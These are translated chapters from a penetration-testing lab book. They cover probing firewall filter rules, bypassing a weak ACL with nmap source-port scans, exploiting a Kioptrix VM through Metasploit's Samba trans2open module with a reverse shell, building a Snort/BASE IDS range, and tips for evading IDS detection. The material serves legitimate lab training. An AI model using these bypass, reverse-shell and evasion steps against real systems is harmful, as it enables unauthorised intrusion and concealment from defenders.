根据我们所看到的,很容易确定无状态过滤器的规则,但实际防火墙呢?我们将首先看一下 iptables 的反应。关闭或挂起您的路由器,并启动您的 iptables 机器。

注意

我们必须调整我们的路由以指向正确的接口,并且如果 iptables 机器上没有打开 IP 转发,我们还必须启用 IP 转发。

一旦您设置好了路由和转发,就可以开始测试 iptables 规则。在您的 Kali 机器上,可以使用 Netcat 或 Nmap 进行测试,看看是否可以路由到 OWASP 机器的 80 端口。或者,您也可以打开浏览器尝试。浏览器方法的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们已经设置好了路由,我们准备测试 iptables 规则集。与之前一样,我们将从 Nmap 开始测试。在 Kali 中,输入nmap 10.2.0.132并查看结果。结果的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

接下来,我们应该使用 Hping 工具做与之前相同的事情,但我们会为您省去麻烦。Iptables 不会像路由器那样做出响应;当它在过滤某些东西时,iptables 根本不会做出响应。正如我们多次所述,这就是测试的全部意义:您创建一个实验环境,应用不同的设置和配置,然后查看哪些有效,哪些无效。

现在,我们准备查看 Smoothwall 防火墙。由于我们正在测试防火墙,根据我们的设计,我们有几个选项。我们可以先测试路由器,然后再测试防火墙。但是,在测试过程中,我们希望尽可能简单。因此,我们将直接测试防火墙;我们的网络设计示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们必须再次建立我们的路由。现在我们的目标是 VMnet3 交换机,因此我们必须路由到该网络。

注意

我们不需要在这里打开 IP 转发,因为 Smoothwall 机器会为我们处理。

我们需要注意 metasploitable 机器的 IP 地址。在本书之前设置机器时,我们在 VMnet3 交换机上设置了 DHCP 服务器;因此,该机器应该在启动时获取了一个地址。要确定 IP 地址,您需要登录到机器上,输入msfadminmsfadmin作为密码。登录后,输入ifconfig并显示接口信息。示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

注意

如果地址与您创建的地址不同,那么您可能需要修改它以匹配目标机器上的地址。同样,我们之前已经涵盖了这一点,因此在这里不再涵盖。为了避免这种情况,您可以将地址配置为静态地址,并在启动时分配。

提醒:您需要在 metasploitable 机器上添加路由;为此,您需要使用sudo命令。添加路由的命令如下:

sudo add -net 10.2.0.0 gw 10.3.0.10 netmask 255.255.255.0 dev eth0

一旦您设置好了路由,就可以使用之前讨论过的任何方法进行测试。使用 telnet 进行测试的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在,我们已经准备好通过防火墙测试目标。与之前一样,最简单的方法是使用我们的工具 Nmap。此外,我们还想运行 Wireshark,并进行比较,看看与直接扫描机器时是否有任何不同。在您的 Kali 机器上,输入nmap 10.3.0.128来扫描目标。请记住,如果您有不同的 IP 地址,您需要输入该地址。Nmap 扫描的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,我们在 Wireshark 和 Smoothwall 机器上进行的测试并没有太大的区别。你可能还记得,当我们在数据包级别检查结果时,我们发现 Smoothwall 机器有时会以 ICMP 消息做出响应;它是一种目标不可达类型的消息,代码是端口不可达。扫描中 ICMP 消息的示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示了扫描中 ICMP 消息的示例(裁剪的文本不重要)

正如前面的屏幕截图所示,我们确实有 ICMP 消息,所以这是我们可以做个记录的事情。在发现阶段,如果我们找到一个使用 Smoothwall 防火墙的客户端,我们将有关于如何对其进行操作的数据。欢迎继续、测试数据,并看看你能发现什么;一如既往,请记得记录一切。对于我们的目的,我们已经实现了本节的目标,我们准备继续进行下一节。

渗透过滤器的技巧

根据我们在本章中发现的内容,你会发现当我们遇到一个设备时,我们成功瞄准它甚至穿透它的能力受到管理员为使设备尽可能受限所付出的工作量的限制。

尽管如此,有时管理员会犯错误,这是我们作为专业安全测试人员的工作的一部分。我们必须找到这些现有的错误并记录下来,以便客户可以修复它们。

我们继续看到的一件事是弱的过滤规则,这是一个长期存在的问题。尽管有了新产品,我们在测试时仍然可以找到弱的过滤规则;因此,在结束本章之前的最后一节将处理如何检测这些规则。

我们将创建并测试第一个弱过滤规则,以便记录结果,这些规则通常在无状态过滤器和路由器中遇到。我们将使用我们的 Dynamips 虚拟机,目标将是 OWASP 机器。在你的路由器机器上,打开一个终端窗口,并输入以下命令来运行你的 Dynamips 机器:

dynamips –H 7200 &
dynagen config.net

正如你所看到的,这次我们在后台运行命令,以避免打开另一个终端窗口;如果你想使用单独的窗口,那就由你决定。我们需要创建一个弱规则,然后进行一系列技术测试,看看我们可以使用哪一种来从过滤器后面的目标获取额外的信息。一旦你的路由器启动,输入以下命令:

console R1
en
conf t
ip access-list extended External
permit tcp any eq 80 any

按下 Ctrl + Z,然后输入以下命令:

Show ip access-lists

配置示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们现在已经设置了一个弱的过滤规则,这在测试时相当常见。一些管理员会添加一个用于返回流量的规则,并允许所有来自某个端口的流量通过。我们在这里使用的是端口 80,但最常见的是在端口 20、53 和 67 上找到。微软的防火墙存在漏洞,已知允许所有源端口为 88(Kerberos)的流量通过过滤器。

我们在路由器上添加了一个新规则,如果我们进行一些研究,我们会发现有渗透防火墙的技术,所以我们现在将尝试其中一种。我们想尝试的第一种是分段扫描,所以在 Kali 中输入 nmap –f 10.2.0.132 来对目标进行分段扫描。结果的示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

好吧,这次扫描甚至没有检测到一个开放的端口,所以我们可以记录下来并继续。正如前面提到的,可以尝试许多不同的扫描,您的成功将取决于您所面对的管理员。我们将再看一个,鼓励您自行探索其他方法。您可以在pentestlab.wordpress.com/2012/04/02/nmap-techniques-for-avoiding-firewalls/找到许多技术的列表。

接下来,我们将看一下通常会为您提供最大成功的技术,这也是我们之前提到的技术。过滤器中的一个常见弱点是允许从某个端口返回流量的规则。幸运的是,使用 Nmap,我们有一个源端口扫描选项,所以我们总是可以从特定端口发送我们的流量。我们想要进行扫描并使用这个选项。在您的 Kali 终端窗口中,输入 nmap –g 80 10.2.0.132g 选项将指示流量来自输入的端口,这种情况下是端口 80。示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

成功!我们现在对过滤器后面的目标有了更多的细节;因此,我们现在可以按照我们的正常测试方法对其进行测试,只要我们从源端口 80 生成我们的流量。

由于我们可以访问过滤器后面的机器上打开的所有端口,让我们进一步调查一下。我们可以尝试使用漏洞扫描程序,但在大多数情况下,它们并不是设计用来穿过过滤器的,所以我们将不得不手动从目标上运行的服务中提取信息,并查看是否能找到一些可能成为我们攻击向量的东西,假设我们可以从端口 80 发送我们的攻击。这是我们需要进一步研究的事情。

首先,我们想要查看这些端口上运行了什么,所以我们可以使用 Nmap 从这些端口获取横幅。

注意

您也可以使用 Netcat 来绕过过滤器并使用 -p 选项来从特定源端口到达目标。这留作读者的练习。

我们可以使用许多不同的扫描技术来从目标获取服务信息;我们将使用其中一种较老但仍然有效且比一些新技术更快的技术。在您的 Kali 机器终端窗口中,输入 nmap -g 80 –sV 10.2.0.132 来获取服务的横幅。示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在前面的截图中,有趣的是扫描显示端口 139 和 145 是开放的,这些端口通常在 Windows 平台上找到。

从这里开始,流程是寻找服务或操作系统的易受攻击版本,然后尝试利用漏洞进行攻击。为了执行这个过程,我们将使用另一台用于测试的机器,那台机器是来自www.kioptrix.com/blog/的 Kioptrix 发行版。我们可以从该网站下载许多发行版。我们将使用 Level 1 版本。流程是打开虚拟机并在设置中将其连接到 VMnet2 网络;通过这样做,我们有一台可以进行测试的机器。

虚拟机设置的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦机器启动,我们需要确定 DHCP 服务器分配的 IP 地址。我们可以通过扫描 VMnet2 子网来做到这一点。

在您的 Kali 机器终端窗口中输入 nmap –g 20 –sP 10.2.0.100-200 进行针对 VMnet2 网络的 ping 扫描。我们有幸知道 DHCP 服务器的起始和结束 IP 范围,所以我们将在这里使用它来加快扫描速度。扫描的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们看到我们的结果中有三个目标,我们知道 132 号机器是 OWASP,135 号机器是我们的 Kali 机器;因此,我们感兴趣的目标是 140 号机器。这一切都是因为路由器上的弱过滤器配置。一旦我们找到了突破口,我们将继续使用它。我们需要知道目标上运行的服务,所以输入nmap –g 80 –sV 10.2.0.140来显示目标的服务信息。我们知道这个目标机器不是 Windows 机器,但我们在目标上看到了类似 Windows 端口的开放。

由于这种情况,我们可以得出结论,samba 正在运行在这台机器上。有许多 samba 漏洞;我们可以对它们进行研究,并尝试看看我们是否成功。

我们介绍了许多发现漏洞的技术,我们将为您节省一些麻烦,看看一些可用的 samba 利用程序。如果输入msfconsole来启动 metasploit 工具,程序启动需要一些时间,一旦启动,我们想使用出色的搜索功能;输入search samba。以下截图显示了部分结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,我们有许多可用的利用程序;我们希望选择评级为“优秀”或更高的那些,因为这将提供最大的成功机会。话虽如此,成功并不保证,但这就是利用的现实。那么,你会选择哪一个?好吧,我们已经讨论了研究的概念,这就是你找出哪一个对你最有效的方法。我们将为您节省时间;在您的 metasploit 窗口中输入以下内容:

use exploit/linux/samba/trans2open
set RHOST 10.2.0.140
set payload linux/x86/shell/reverse_tcp
set LHOST 10.2.0.135
set LPORT 123
exploit

我们使用 Kali 机器作为反向 shell 的连接,并使用端口 123 让它到达我们这里。通常不会被检查,因此通常会非常有效。这个利用将失败,因为没有流量来自的源端口。以下截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,利用程序无法到达目标。好吧,我们知道我们有办法到达目标,这涉及将流量设置为来自特定源端口,那么我们该怎么办?幸运的是,metasploit 的创建者为我们提供了一种方法来做到这一点,但这并不为人所知,实际上也没有很好的文档记录,因此它随时可能消失;因此,最好保留旧的虚拟机,以防我们喜欢的东西消失。我们指的是CPORT选项;因此,在 metasploit 工具中输入以下命令,将所有流量从源端口 80 发送到目标:

set CPORT 80

然后,输入利用程序再次尝试。以下截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

同样,如果您的利用程序失败,这并不罕见,一个选择是设置网络平面,然后尝试利用程序。不幸的是,这里没有什么保证。最重要的是,您知道如何发现过滤器的存在,并知道如何尝试渗透过滤器的方法。

接下来要做的事情是尝试相同的过程和方法来攻击 iptables 机器。结果非常相似;因此,我们将把这留作一个作业任务,供那些想要练习的人。一如既往,记录下你的所有发现,并继续实验和学习。

总结

在本章中,我们建立了一个系统化的逐步过程,用于对各种设备进行评估。我们从路由器设备开始这一章,然后转向交换机。在路由器和交换机之后,我们转向讨论遇到防火墙时该怎么办。

一旦我们学会了处理多种不同的设备,我们就转向了识别现有过滤规则的方法。我们发现了何时以及如何对某些设备进行扫描时,它们的响应不符合 RFC 中规定的标准;此外,我们能够发现,当设备上存在规则时,通常会有一个端口的响应为我们提供了针对该设备进一步操作的额外细节。

最后,我们讨论了渗透过滤器的技巧,并研究了使用分段扫描;然而,这并没有取得太大的成功。然后,我们研究了强大的源端口扫描技术,事实上,这在允许我们枚举有关目标的额外信息方面非常成功;此外,我们展示了如果找到源端口的弱点,我们有选择从特定源端口发起攻击的选项。

这结束了本章。现在你已经有了一个处理设备时的完整流程和方法。正如我们在本章中讨论的,你将会有很多时候会在设备上寻找突破的方法,但这是专业安全测试的一部分,也是你学到最多的时候。事实上,在大多数情况下,你挣扎得越多,学到的就越多。始终记得记录你观察到的所有事情。这是一个谨慎和专业的测试人员在构建和测试他们的虚拟实验室时会采用的习惯。在下一章中,我们将看看如何设计一个 IDS/IPS 范围。

第八章:设计 IDS/IPS 范围

在本章中,我们将学习设计和构建各种 IDS/IPS 功能到我们的网络范围的技术。我们还将研究典型主机和端点安全配置的部署。我们将讨论以下主题:

  • 部署基于网络的 IDS

  • 实施基于主机的 IPS 和端点安全

  • 使用虚拟交换机

  • 规避

本章将为我们提供一种方法论,用于当我们遇到多种不同的监控设备时使用。在本章中,我们将研究规避,即避免被检测到的技术。虽然这是一个热门话题,作为专业的安全测试人员,现实情况是很少被要求;而且,它取决于很多因素,不是一件容易准备的事情。成功很大程度上取决于入侵检测系统(IDS)传感器的类型和位置以及其配置。有可能会要求您规避检测作为工作范围的一部分,这就是为什么我们在本书中涵盖这一内容。

部署基于网络的 IDS

正如我们在第六章中讨论的那样,当我们部署基于网络的入侵检测系统(IDS)时,我们在网络的每个段上放置一个传感器。传感器由放置在混杂模式的网络卡组成,这会关闭 MAC 地址过滤。所有的流量都会通过堆栈传递到监视传感器的应用程序。我们还讨论了在交换机上部署传感器的挑战,因为流量不会发送到所有端口,这可能会对向传感器提供数据构成挑战。

对于基于网络的 IDS,IDS 的功能是在数据包级别处理网络流量,然后分析其中可能表明攻击的特征或模式。在考虑这一点时,请记住网络传感器正在捕获数据包;那么在任何时候有多少数据包在网络中传输?这是基于网络的 IDS 的挑战之一(如何处理网络速度不断增加的流量)。然而,我们正在超前。我们要做的第一件事是设计我们的架构,以便我们能够充分代表我们可能在客户网络上看到的典型 IDS。我们将使用以下图表:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们的架构

我们可以在每个点构建架构并测试传感器,但实际上这样做没有意义。这是因为我们有幸使用虚拟环境,比如 VMware。因此,一旦我们决定要测试什么,我们只需将网络适配器更改为连接到该交换机。这也是我们做出选择的另一个原因。

还有一件事要注意的是,我们希望有一个受害者来攻击并查看 IDS 的响应,但更好的方法,特别是在规避方面,是将攻击流量直接引导到网络传感器。这将使我们有能力看到攻击是否能够在不被检测到的情况下通过传感器。我们将在规避部分中进行这项工作。

接下来,我们将启动三台机器并验证我们是否已经启动并运行了 IDS。在执行此操作之前,您应该使用网络安全工具包、Kali 机器和受害者验证您的设置,并检查它们是否都连接到 VMnet2 开关。您可能会想知道为什么我们不使用 VMnet8 开关,因为它可以为我们提供互联网连接和 VMware 的其他内置功能。这是一个有效的问题,我们选择另一个开关的最大原因是我们希望确保没有任何偶发或异常的流量会给传感器带来问题。VMnet8 开关与主机机器共享适配器配置,并且通常会传输数据包,可能会干扰我们的结果。一旦机器启动,我们将启动 Snort 传感器。登录到网络安全工具包虚拟机,然后点击活动并选择 Firefox 图标。

当 Firefox 网络浏览器启动时,如果用户名和密码详情没有填写,请输入所需信息,然后点击确定。这将使您进入网络安全工具包 Web 用户界面的主页。然后,转到安全 | 入侵检测 | Snort IDS,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦 Snort 页面打开,您将想要查看您暂停或关闭虚拟机时留下的机器状态。如果您没有看到列出的状态传感器,则必须为传感器配置接口。即使我们之前解释过这一点,我们将再次进行操作,以便您不必寻找它。如果您没有看到列出的传感器,则需要向下滚动并选择适当的接口。对于本书,我们使用 eth1 接口,因此接下来的示例将基于此。如果您已将 VMnet2 开关设置为另一个接口,则必须选择该接口而不是我们使用的接口。

一旦您选择了适当接口的单选按钮,然后点击设置/启动 Snort来启动接口上的传感器。

注意

您很可能需要点击两次按钮才能使传感器真正启动。

一旦传感器成功启动,您应该看到 Snort 传感器处于运行状态,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示 Snort 传感器处于运行状态的屏幕(裁剪的文本不重要)

一旦进程处于我们想要的状态,我们将验证我们的规则是否已打开。点击规则并验证是否选择了扫描规则。如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

验证屏幕是否选择了扫描规则(裁剪的文本不重要)

注意

如果您更改了规则,则必须重新加载传感器。重新加载按钮位于规则按钮的右侧。

现在我们的规则已经达到我们想要的效果,我们准备验证我们的传感器是否正在运行。我们之前已经介绍了这些步骤,但我们不会让您自己去找。我们必须打开一个终端窗口并输入以下命令:

cd /etc/snort_eth0
snort –A –c snort.conf

一旦您启动了 Snort,打开另一个窗口并使用非法标志组合扫描来验证传感器是否正常工作。作为提醒,在第六章中,我们使用了圣诞树扫描,创建外部攻击架构,您可以使用这个或包含非法标志(如 FIN 或 NULL 扫描)的任何扫描。

除了 Snort 的易于设置之外,我们还喜欢网络安全工具包的另一点是我们有出色的 Snort 工具。我们将查看Base Analysis Search EngineBASE)工具。要启动 BASE,您需要导航到安全 | 入侵检测 | BASE。示例如下截图所示:

部署基于网络的 IDS

当 BASE 工具启动时,将要求您进行身份验证。凭据应该已经为您输入,如果没有,则必须输入适当的凭据以访问 GUI。完成后,单击确定,如下截图所示:

部署基于网络的 IDS

BASE GUI 允许我们在图形显示中记录传感器检测到的警报。返回到您的 Kali 机器并再次运行圣诞树扫描。作为提醒,您可以使用X选项配置扫描。扫描完成后,返回到BASE显示并刷新显示,您现在应该看到检测到的 TCP 流量,如下截图所示:

部署基于网络的 IDS

BASE 工具的一个好处是您可以从警报中检查的信息。我们现在将这样做。单击百分比数字,这将打开另一个窗口,其中列出了传感器检测到的警报。示例如下截图所示:

部署基于网络的 IDS

接下来要做的是检查警报。单击警报时,将看到有关警报的其他信息。示例如下截图所示:

部署基于网络的 IDS

如前面的截图所示,可以查看数据包的组成,包括封装数据的显示。这显示了Nmap工具设置 FIN、PUSH 和 URGENT 标志以表示扫描。一些工具在执行扫描时会设置所有六个标志。

Meta部分和触发签名下有两个链接。单击 Snort 链接,将显示触发签名的规则。示例如下截图所示:

部署基于网络的 IDS

前面的截图显示了您可以检查的信息,以发现有关签名的其他详细信息,以及触发事件的影响。此外,您还可以了解有关误报率的信息。这很重要,因为许多实施 IDS 的管理员会关闭生成大量误报警报的签名。事实上,您可能还记得,我们不得不打开扫描规则,这是因为它有很高的误报率。现在我们将检查 Nmap XMAS 扫描的误报率。向下滚动并查看信息。示例如下截图所示:

部署基于网络的 IDS

现在我们有一个 IDS 范围,可以用来观察我们不同的工具和技术的反应。在这之前,我们将清除机器中的任何警报,为此,您需要转到查询结果屏幕的底部,然后导航到操作 | 删除警报。完成此操作后,单击整个查询按钮以删除警报,然后通过单击主页返回到主屏幕。我们将使用 Nikto Web 扫描工具来查看 Snort 传感器在使用扫描程序时的反应。我们将扫描 Snort 传感器网络上的网络安全工具包 Web 服务器。要在 Kali Linux 机器上进行扫描,打开终端窗口并输入nikto –ssl –h <传感器的 IP 地址>,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

ssl 选项用于强制检查 安全套接字层 (SSL),因为在默认配置中,网络安全工具包在端口 80 没有 web 服务器;只有 HTTPS 端口 443 可以访问。扫描完成后,您会注意到有几个发现。要查看这些发现,您需要向后滚动并寻找它们。与大多数工具一样,有更好的方法,我们现在将探讨这一点。

在终端窗口中,我们将使用工具的输出功能将其写入文件。输入 nikto –ssl –h <传感器的 IP 地址> -o file.html,如下面的截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这将工具发现的输出写入了一个 HTML 文件。通过导航到 应用程序 | 互联网 | Iceweasel Web 浏览器 来打开 Iceweasel。当浏览器打开时,打开您创建的文件并查看结果。您会看到输出结果更容易阅读,如下面的截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在是时候返回到我们的 Snort 传感器和 BASE 显示,看看是否有任何警报。我们进行了许多网络扫描,想要看看检测到了什么。返回到您的网络安全工具包,刷新 BASE 显示并查看信息。以下是示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们没有警报!为什么呢?这是试错过程的一部分。我们知道在配置 Snort 传感器时加载了特定规则,因为我们过去必须启用一些规则。因此,从这里开始的过程将是尝试启用更多规则并查看发生了什么。还有很大的可能性存在其他问题,但只要我们发送非法的标志组合数据包进去,我们就会收到某种警报,这告诉我们传感器正在工作。在这种情况下,即使您打开了所有规则,也不会有警报。我们将在规避部分得到答案。

实施基于主机的 IDS 和端点安全

一个站点可以配置和部署他们的基于主机的保护或者说他们的端点安全的不同方式。作为测试人员,在实施这些措施时需要进行实验。这些产品大多是商业产品,您必须从供应商那里获取试用版本或请求概念实施。无论哪种方式,您在网络范围内部署这些产品的能力将在很大程度上取决于您的客户拥有什么。这是在您进行非侵入式目标搜索的早期阶段获取的信息。然而,通常在会议上确定工作范围时或在允许并且在范围内的测试的社会工程阶段提供给您。

我们将查看 Symantec 的一些热门端点保护软件。正如我们在前一段中所说,您可能会遇到其他软件,但在这些检测解决方案的大多数中,都设置了一些警报或报警阈值。作为测试人员,这就是我们需要确定的。因此,这将在规避部分进行讨论。

我们将要查看的 Symantec 版本是较旧的版本(版本 11.0),但它将满足我们的目的。这里的意图是,当您准备进行一项工作时,您将在实验室环境中尽可能多地创建。一旦您安装了基于主机的 IDS 或 IPS,您将查看其配置,以了解工具用于检测和/或阻止事件的内容。

使用 Symantec 工具,我们查看工具配置中的选项以获取这些信息。以下是仪表板的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,有三个主要的保护区域。我们目前只启用了一个,这是我们首先要看的。我们将导航到选项 | 更改设置 | 入侵防范,以打开菜单来更改阻止疑似攻击流量的设置。以下是此示例的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,我们有许多数值可以配置和自定义,这是我们作为测试人员面临的挑战之一。如果管理员已经调整或更改了设置为不同的值,我们可能无法逃避检测,但我们现在还没有进入逃避部分。我们已经在这里更改了默认值。

接下来我们需要做的是看看我们是否能够检测到潜在的攻击并实际上阻止 IP 地址。我们可以使用 Nmap,但我们更喜欢使用更具攻击性的工具,这就是 Nikto 的用武之地。我们将把它指向 Symantec 机器的 IP 地址,看看会发生什么。以下是结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,攻击已被检测到并且 IP 地址现在被阻止;这就是为什么我们将阻止时间改为 60 秒,这样 Nikto 扫描就不会花太长时间。扫描完成后,我们可以在 Symantec 工具中查看检测历史和相应的阻止。所有这些功能对用户来说非常好用,但对攻击者也很有利。以下是 Nikto 扫描的日志结果示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,入侵防范工具已经检测到并随后阻止了来自该工具的攻击尝试。问题在于,正如你们中的许多人可能知道的那样,IP 阻止并不总是一个好主意,因为我们可以伪造 IP 地址,然后用户将被阻止。这就是为什么 IP 阻止通常只针对可能导致重大损失的东西进行配置的原因之一。

Symantec 工具还有其他几个部分,我们这里不会全部涵盖。但是,我们将看一下一个与网络无关但实际上与主机相关的部分。我们现在要看的功能是防病毒和防间谍软件保护。我们要做的第一件事是点击修复所有按钮,这将打开所有的保护措施,如下一张屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示所有的保护措施(裁剪的文本不重要)

我们现在已经启用了所有的端点保护;因此,任何我们尝试放入机器上被视为威胁的程序都将被保护机制标记。为了证明这一点,我们将使用 Jamie Butler 于 2005 年编写的 FU rootkit 来展示 Microsoft 使用 Intel 架构环的弱点。这个问题的详细解释超出了本书的范围,但是对于想了解更多的人,可以获取他与 Greg Hoglund 合著的书籍Rootkits: Subverting the Windows Kernel, Addison Wessely

当我们将 FU rootkit 的可执行文件复制到受保护的机器上时,它立即被检测为威胁,如下一张屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,它已被检测并分类为Hacktool.Rootkit,因为被视为威胁,所以被删除了。我们可以通过单击防病毒和防间谍软件保护来查看检测的更多细节。导航到选项 | 查看日志 | 风险日志以查看已检测到的风险。以下是一个示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,检测是在两个文件上进行的,可执行文件是一个,msdirectx.sys是加载和用于访问内核内存的驱动程序。FU rootkit 是一个先驱,因为它是第一个实现Direct Kernel Object MemoryDKOM)操纵的。

那么,这对我们的范围架构有什么影响呢?嗯,正如已经提到的,你将会遇到各种各样的产品。所以,在大多数情况下,我们等待并查看客户可用的产品,然后开始研究获取副本并进行实验。正如你们中的许多人可能知道的那样,关键在于我们因文件的签名而被检测到。因此,我们将使用工具来更改该签名;然而,这是逃避,所以我们将在本章后面进行讨论。

使用虚拟交换机

在构建我们的范围时,我们必须考虑我们拥有的交换机类型,以及我们是否需要配置Switch Port AnalyzerSPAN)或Test Access PointTAP)。像大多数事情一样,每种方法都有优缺点。您可以在网站www.networktaps.com上了解更多信息。以下是网站上的比较示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如果您正在使用物理交换机构建您的范围,那么这是您必须考虑的事情。但是,如果您使用虚拟交换机,那么我们就没有这个挑战。我们已经看过一次,但我们想从入侵检测的角度来看。为此,我们将运行我们的扫描,但这次不是直接在传感器上。在继续之前,您需要 Kali Linux 机器、OWASP 和 Network Security Toolkit。启动这三台虚拟机器后,我们将继续。

一旦机器上线,我们将从我们的 Kali Linux 机器对 OWASP 机器进行扫描,并跨 VMnet2 交换机运行 Network Security Toolkit 上的 Snort 传感器。设置如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

接下来,您需要在 Network Security Toolkit 机器上启动 Snort 传感器。我们在本章前面介绍了这些步骤。

注意

在正确的接口上启动传感器,选择连接到 VMnet2 的接口。在本书中,我们使用 eth1 接口。

传感器运行后,启动 BASE GUI 并清除当前列出的所有警报。我们接下来要做的是从 Kali Linux 机器对 OWASP 机器进行扫描。我们可以使用任何工具,但是为了演示,我们将使用之前使用过的 Nikto 工具。我们的 OWASP 机器的目标 IP 地址是10.2.0.132,这是我们在工具中将使用的地址。在 Kali Linux 终端窗口中,输入nikto –h 10.2.0.132来扫描 OWASP 机器。返回到 BASE 显示并查看攻击是否被检测到。

以下是示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示 BASE 显示的屏幕(裁剪的文本不重要)

正如前面的截图所示,流量已经生成了一些警报。接下来我们要做的是查看传感器生成的警报。点击100%,这将显示传感器报告的警报列表。由于我们使用 Nikto 工具,我们正在寻找与 Web 流量相关的警报。以下是一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们有了警报,所以选择其中一个并进一步检查。在本章早些时候我们检查警报时,我们看到了有关生成警报的数据包的附加信息。然而,我们没有任何有关数据包有效载荷的信息。这是因为没有有效载荷可以捕获。由于这些数据包是攻击模式,我们有更好的机会找到有效载荷。以下是目录遍历攻击的有效载荷示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

你可以看到,虚拟交换机上的传感器不需要 SPAN 或镜像来查看网络流量,就像物理交换机一样,所以我们准备继续下一节。

规避

在这一部分,我们将讨论规避的主题。这来自于经常提到的**永远不要被抓住!**的概念。虽然这在戏剧中很有趣,但现实是渗透测试很少会要求这样做。此外,这高度依赖于管理员如何配置他们的环境。没有保证我们会通过,但我们可以进行实验,并至少找到一些可能在我们的工作范围内起作用的东西。

确定阈值

我们想要关注的是所有这些工具都必须有某种阈值,并且在达到这个阈值时会发出警报。这就是我们可以找到规避检测的方法。如果我们重新审视我们的 Snort 传感器并清除所有现有的警报,我们可以尝试一些不同的事情,看看何时被探测到,何时没有被探测到。

注意

要记住的一件事是,任何带有非法标志组合的扫描都会立即被探测到,所以如果规避是你工作范围的一部分,要避免这些。

对于 Snort 传感器,阈值似乎在五个关闭的端口左右,也就是说,收到 RST 数据包会让你被探测到;因此,只要你在任何时候扫描的端口数保持在五个以下,你就不会被探测到。

压力测试

我们可能需要对我们的 IDS 传感器进行的另一种测试是压力测试。通过这种技术,我们产生大量噪音,看攻击是否能被噪音掩盖,或者传感器是否会被压倒而停止工作。在 Kali 发行版中,有许多工具可以做到这一点,欢迎你去尝试。你可以通过导航到应用程序 | Kali Linux | 压力测试来找到它们,并查看那里的程序。我们将把这个测试留给你做家庭作业。你会发现 IDS 工具已经存在了很长时间,不会被这些攻击淹没。话虽如此,总会有机会,这就是为什么我们要涵盖它的原因。

Shell 代码混淆

在检测利用程序时,被检测到的数据是 shell 代码;此外,还有该代码的签名。由于这是一个标准,工具很容易检测到它。我们现在来看看这个。你需要你的 Kioptrix 机器,因为我们要利用它。我们已经讨论了许多这样做的方法,对于我们的目的,我们将使用 metasploit 工具来利用它。当我们试图规避检测时,有许多参数可以操纵,不幸的是,没有保证。如果你使用 Armitage 工具,那么你可以选择显示高级选项来查看我们可以使用的额外参数。以下是一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将首先使用默认设置进行漏洞利用,看看 BASE 工具检测到了什么。再次强调,逃避没有保证,所以这是一个实验和记录你的发现的问题。漏洞利用尝试的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,我们并没有成功,所以现在我们将修改载荷,看看我们是否有更好的运气。这是一个过程:你尝试不同的方法,找出什么有效,什么无效。这就是为什么很少会要求逃避的好事。

在高级选项中,我们可以修改许多参数,但在撰写本书时,我们无法成功地使用这些工具逃避检测。如果你想了解更多,你可以收集更多信息,并查看一个针对反病毒逃避编写的脚本:healthtalkie.com/discussion/script-for-av-evasion-uz3mb.php

关于逃避,我们还有最后一件事要尝试。有时,尝试不同的端口可能更容易,因为你知道默认情况下 IDS 不会检查的端口。这种遗漏是正常的,因为流量会产生太多的误报。

